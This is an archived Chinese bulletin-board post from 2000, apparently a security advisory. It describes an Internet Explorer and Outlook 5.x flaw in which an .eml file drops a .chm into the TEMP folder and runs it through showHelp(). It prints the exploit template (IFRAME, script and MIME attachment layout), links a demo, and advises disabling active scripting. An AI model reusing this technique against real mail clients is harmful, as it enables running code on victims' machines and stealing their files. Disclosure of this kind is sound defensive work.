发信人: netcc()
整理人: (2000-03-16 12:49:28), 站内信件
|
IE和Outlook 5.x for Win9x/WinNT(可能还包括其它系统)运行执行包含任意代码
的.eml文件。
含有这些代码的文件将会被IE和Outlook执行，甚至可以控制用户计算机，已经发
送或者读取
本地计算机文件到控制者手中。
问题在于创建任意已知名字的包含任意内容的文件在TEMP（临时目录）目录中。
一个包含了"shortcut（快捷）"命令的.chm文件可以放置在该TEMP目录中，然后
当这个.chm文件用
showHelp()函数打开时被系统执行。这个漏洞也可以在显示HTML语言的Outlook中
运行。
这些代码必须包含在.eml文件中:
----------------------------------------------------------------------
-----------------
....
<IFRAME align=3Dbaseline alt=3D"" =
border=3D0 hspace=3D0=20
src=3D"cid:000701bf8458$eb570380$dc0732d4@bbb"></IFRAME>
<SCRIPT>
setTimeout('window.showHelp("c:/windows/temp/abcde.chm");',1000);
setTimeout('window.showHelp("c:/temp/abcde.chm");',1000);
</SCRIPT>
.....
------=_NextPart_000_0008_01BF8469.AEE8FB40
Content-Type: application/binary;
name="abcde.chm"
Content-Transfer-Encoding: base64
Content-ID: <000701bf8458$eb570380$dc0732d4@bbb>
...Put the base64 encoded .chm file here...
------=_NextPart_000_0008_01BF8469.AEE8FB40--
----------------------------------------------------------------------
-----------------
漏洞演示文件参考:
http://www.nat.bg/~joro/eml.html
建议在浏览器中设置屏蔽Active的脚本运行。
--
※ 来源:．月光软件站 http://www.moon-soft.com．[FROM: 202.104.50.96]
|
|